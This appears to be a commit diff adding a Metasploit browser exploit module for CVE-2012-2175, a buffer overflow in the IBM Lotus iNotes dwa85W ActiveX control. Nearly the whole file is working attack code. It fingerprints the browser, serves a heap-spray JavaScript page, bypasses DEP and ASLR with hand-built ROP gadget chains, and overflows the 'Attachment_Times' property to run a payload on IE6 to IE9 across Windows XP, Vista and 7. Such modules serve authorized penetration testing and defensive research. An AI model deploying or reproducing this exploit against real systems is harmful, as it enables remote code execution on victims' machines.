1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = NormalRanking
12
+
13
+ include Msf ::Exploit ::Remote ::HttpServer ::HTML
14
+ include Msf ::Exploit ::RopDb
15
+ include Msf ::Exploit ::Remote ::BrowserAutopwn
16
+
17
+ autopwn_info ( {
18
+ :ua_name => HttpClients ::IE ,
19
+ :ua_minver => "6.0" ,
20
+ :ua_maxver => "9.0" ,
21
+ :javascript => true ,
22
+ :os_name => OperatingSystems ::WINDOWS ,
23
+ :rank => Rank ,
24
+ :classid => "{0F2AAAE3-7E9E-4b64-AB5D-1CA24C6ACB9C}" ,
25
+ :method => "Attachment_Times"
26
+ } )
27
+
28
+
29
+ def initialize ( info = { } )
30
+ super ( update_info ( info ,
31
+ 'Name' => "IBM Lotus iNotes dwa85W ActiveX Buffer Overflow" ,
32
+ 'Description' => %q{
33
+ This module exploits a buffer overflow vulnerability on the UploadControl
34
+ ActiveX. The vulnerability exists in the handling of the "Attachment_Times"
35
+ property, due to the insecure usage of the _swscanf. The affected ActiveX is
36
+ provided by the dwa85W.dll installed with the IBM Lotus iNotes ActiveX installer.
37
+
38
+ This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7,
39
+ using the dwa85W.dll 85.3.3.0 as installed with Lotus Domino 8.5.3.
40
+
41
+ In order to bypass ASLR the no aslr compatible module dwabho.dll is used. This one
42
+ is installed with the iNotes ActiveX.
43
+ } ,
44
+ 'License' => MSF_LICENSE ,
45
+ 'Author' =>
46
+ [
47
+ 'Gaurav Baruah' , # Vulnerability discovery
48
+ 'juan vazquez' # Metasploit module
49
+ ] ,
50
+ 'References' =>
51
+ [
52
+ [ 'CVE' , '2012-2175' ] ,
53
+ [ 'OSVDB' , '82755' ] ,
54
+ [ 'BID' , '53879' ] ,
55
+ [ 'URL' , 'http://www.zerodayinitiative.com/advisories/ZDI-12-132/' ] ,
56
+ [ 'URL' , 'http://www-304.ibm.com/support/docview.wss?uid=swg21596862' ]
57
+ ] ,
58
+ 'Payload' =>
59
+ {
60
+ 'Space' => 978 ,
61
+ 'DisableNops' => true ,
62
+ 'PrependEncoder' => "\x81 \xc4 \x54 \xf2 \xff \xff " # Stack adjustment # add esp, -3500
63
+ } ,
64
+ 'DefaultOptions' =>
65
+ {
66
+ 'InitialAutoRunScript' => 'migrate -f'
67
+ } ,
68
+ 'Platform' => 'win' ,
69
+ 'Targets' =>
70
+ [
71
+ # dwa85W.dll 85.3.3.0
72
+ [ 'Automatic' , { } ] ,
73
+ [ 'IE 6 on Windows XP SP3' , { 'Rop' => nil , 'Offset' => '0x5F4' , 'Ret' => 0x0c0c0c0c } ] ,
74
+ [ 'IE 7 on Windows XP SP3' , { 'Rop' => nil , 'Offset' => '0x5F4' , 'Ret' => 0x0c0c0c0c } ] ,
75
+ [ 'IE 8 on Windows XP SP3' , { 'Rop' => :msvcrt , 'Offset' => '0x5f4' , 'Ret' => 0x77C34FBF } ] , # pop esp # ret # msvcrt.dll
76
+ [ 'IE 7 on Windows Vista' , { 'Rop' => nil , 'Offset' => '0x5f4' , 'Ret' => 0x0c0c0c0c } ] ,
77
+ [ 'IE 8 on Windows Vista' , { 'Rop' => :notes , 'Offset' => '0x5f4' , 'Ret' => 0x1000f765 } ] , # pop eax # ret # dwabho.dll
78
+ [ 'IE 8 on Windows 7' , { 'Rop' => :notes , 'Offset' => '0x5f4' , 'Ret' => 0x1000f765 } ] , # pop eax # ret # dwabho.dll
79
+ [ 'IE 9 on Windows 7' , { 'Rop' => :notes , 'Offset' => '0x5fe' , 'Ret' => 0x1000f765 } ] # pop eax # ret # dwabho.dll
80
+ ] ,
81
+ 'Privileged' => false ,
82
+ 'DisclosureDate' => "Jun 01 2012" ,
83
+ 'DefaultTarget' => 0 ) )
84
+
85
+ register_options (
86
+ [
87
+ OptBool . new ( 'OBFUSCATE' , [ false , 'Enable JavaScript obfuscation' , false ] )
88
+ ] , self . class )
89
+
90
+ end
91
+
92
+ def get_target ( agent )
93
+ #If the user is already specified by the user, we'll just use that
94
+ return target if target . name != 'Automatic'
95
+
96
+ nt = agent . scan ( /Windows NT (\d \. \d )/ ) . flatten [ 0 ] || ''
97
+ ie = agent . scan ( /MSIE (\d )/ ) . flatten [ 0 ] || ''
98
+
99
+ ie_name = "IE #{ ie } "
100
+
101
+ case nt
102
+ when '5.1'
103
+ os_name = 'Windows XP SP3'
104
+ when '6.0'
105
+ os_name = 'Windows Vista'
106
+ when '6.1'
107
+ os_name = 'Windows 7'
108
+ end
109
+
110
+ targets . each do |t |
111
+ if ( !ie . empty? and t . name . include? ( ie_name ) ) and ( !nt . empty? and t . name . include? ( os_name ) )
112
+ print_status ( "Target selected as: #{ t . name } " )
113
+ return t
114
+ end
115
+ end
116
+
117
+ return nil
118
+ end
119
+
120
+ def ie_heap_spray ( my_target , p )
121
+ js_code = Rex ::Text . to_unescape ( p , Rex ::Arch . endian ( target . arch ) )
122
+ js_nops = Rex ::Text . to_unescape ( "\x0c " *4 , Rex ::Arch . endian ( target . arch ) )
123
+ js_random_nops = Rex ::Text . to_unescape ( make_nops ( 4 ) , Rex ::Arch . endian ( my_target . arch ) )
124
+
125
+ # Land the payload at 0x0c0c0c0c
126
+ case my_target
127
+ when targets [ 7 ]
128
+ # IE 9 on Windows 7
129
+ js = %Q|
130
+ function randomblock(blocksize)
131
+ {
132
+ var theblock = "";
133
+ for (var i = 0; i < blocksize; i++)
134
+ {
135
+ theblock += Math.floor(Math.random()*90)+10;
136
+ }
137
+ return theblock;
138
+ }
139
+
140
+ function tounescape(block)
141
+ {
142
+ var blocklen = block.length;
143
+ var unescapestr = "";
144
+ for (var i = 0; i < blocklen-1; i=i+4)
145
+ {
146
+ unescapestr += "%u" + block.substring(i,i+4);
147
+ }
148
+ return unescapestr;
149
+ }
150
+
151
+ var heap_obj = new heapLib.ie(0x10000);
152
+ var code = unescape("#{ js_code } ");
153
+ var nops = unescape("#{ js_random_nops } ");
154
+ while (nops.length < 0x80000) nops += nops;
155
+ var offset_length = #{ my_target [ 'Offset' ] } ;
156
+ for (var i=0; i < 0x1000; i++) {
157
+ var padding = unescape(tounescape(randomblock(0x1000)));
158
+ while (padding.length < 0x1000) padding+= padding;
159
+ var junk_offset = padding.substring(0, offset_length);
160
+ var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
161
+ while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
162
+ sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
163
+ heap_obj.alloc(sprayblock);
164
+ }
165
+ |
166
+
167
+ else
168
+ # For IE 6, 7, 8
169
+ js = %Q|
170
+ var heap_obj = new heapLib.ie(0x20000);
171
+ var code = unescape("#{ js_code } ");
172
+ var nops = unescape("#{ js_nops } ");
173
+ while (nops.length < 0x80000) nops += nops;
174
+ var offset = nops.substring(0, #{ my_target [ 'Offset' ] } );
175
+ var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
176
+ while (shellcode.length < 0x40000) shellcode += shellcode;
177
+ var block = shellcode.substring(0, (0x80000-6)/2);
178
+ heap_obj.gc();
179
+ for (var i=1; i < 0x300; i++) {
180
+ heap_obj.alloc(block);
181
+ }
182
+ var overflow = nops.substring(0, 10);
183
+ |
184
+
185
+ end
186
+
187
+ js = heaplib ( js , { :noobfu => true } )
188
+
189
+ if datastore [ 'OBFUSCATE' ]
190
+ js = ::Rex ::Exploitation ::JSObfu . new ( js )
191
+ js . obfuscate
192
+ end
193
+
194
+ return js
195
+ end
196
+
197
+ def get_payload ( t , cli )
198
+ code = payload . encoded
199
+
200
+ # No rop. Just return the payload.
201
+ return code if t [ 'Rop' ] . nil?
202
+
203
+ # Both ROP chains generated by mona.py - See corelan.be
204
+ case t [ 'Rop' ]
205
+ when :msvcrt
206
+ print_status ( "Using msvcrt ROP" )
207
+ rop_payload = generate_rop_payload ( 'msvcrt' , code , { 'target' => 'xp' } ) #{'pivot'=>stack_pivot, 'target'=>'xp'})
208
+ else
209
+ print_status ( "Using dwabho.dll ROP" )
210
+ # gadgets from dwabho.dll, using mona.py
211
+ rop_payload = [
212
+ 0x1000f765 , # POP EAX # RETN
213
+ 0x1001a22c , # ptr to &VirtualAlloc() [IAT dwabho.dll]
214
+ 0x10010394 , # JMP DWORD PTR DS:[EAX]
215
+ 0x0c0c0c2c , # ret after VirtualAlloc
216
+ 0x0c0c0c2c , # lpAddress
217
+ 0x00000400 , # dwSize
218
+ 0x00001000 , # flAllocationType
219
+ 0x00000040 # flProtect
220
+ ] . pack ( "V*" )
221
+ rop_payload << code
222
+ end
223
+
224
+ return rop_payload
225
+ end
226
+
227
+ def load_exploit_html ( my_target , cli )
228
+ p = get_payload ( my_target , cli )
229
+ js = ie_heap_spray ( my_target , p )
230
+
231
+ bof = rand_text_alpha ( 552 ) # offset to eip
232
+ bof << [ my_target . ret ] . pack ( "V" )
233
+
234
+ case my_target [ 'Rop' ]
235
+ when :msvcrt
236
+ bof << rand_text_alpha ( 4 )
237
+ bof << [ 0x0c0c0c0c ] . pack ( "V" ) # new ESP
238
+ when :notes
239
+ bof << rand_text_alpha ( 4 )
240
+ bof << [ 0x0c0c0c00 ] . pack ( "V" ) # eax
241
+ bof << [ 0x1000f49a ] . pack ( "V" ) # pop esp # dec ecx # add byte ptr ds:[eax],al # pop ecx # pop ecx # retn # dwabho.dll
242
+ bof << [ 0x0c0c0c04 ] . pack ( "V" ) # new ESP
243
+ end
244
+
245
+ my_bof = Rex ::Text . to_unescape ( bof )
246
+
247
+ html = %Q|
248
+ <html>
249
+ <head>
250
+ <script>
251
+ #{ js }
252
+ </script>
253
+ </head>
254
+ <body>
255
+ <object id="UploadControl" width="100%" height="100%" classid="clsid:0F2AAAE3-7E9E-4b64-AB5D-1CA24C6ACB9C">
256
+ <param name="General_Mode" value="1">
257
+ <param name="General_URL" value="http://#{ rand_text_alpha ( rand ( 10 ) + 5 ) } ">
258
+ </object>
259
+ <script>
260
+ var bof = unescape("#{ my_bof } ");
261
+ var my_time = "#{ rand_text_numeric ( 2 ) } /#{ rand_text_numeric ( 2 ) } /#{ rand_text_numeric ( 4 ) } #{ rand_text_numeric ( 2 ) } :#{ rand_text_numeric ( 2 ) } :#{ rand_text_numeric ( 2 ) } ";
262
+ my_time += bof;
263
+ my_time += " GMT";
264
+ UploadControl.Attachment_Times = my_time;
265
+ </script>
266
+ </body>
267
+ </html>
268
+ |
269
+
270
+ return html
271
+ end
272
+
273
+ def on_request_uri ( cli , request )
274
+ agent = request . headers [ 'User-Agent' ]
275
+ uri = request . uri
276
+ print_status ( "Requesting: #{ uri } " )
277
+
278
+ my_target = get_target ( agent )
279
+ # Avoid the attack if no suitable target found
280
+ if my_target . nil?
281
+ print_error ( "Browser not supported, sending 404: #{ agent } " )
282
+ send_not_found ( cli )
283
+ return
284
+ end
285
+
286
+ html = load_exploit_html ( my_target , cli )
287
+ html = html . gsub ( /^\t \t / , '' )
288
+ print_status ( "Sending HTML..." )
289
+ send_response ( cli , html , { 'Content-Type' => 'text/html' } )
290
+ end
291
+
292
+ end
0 commit comments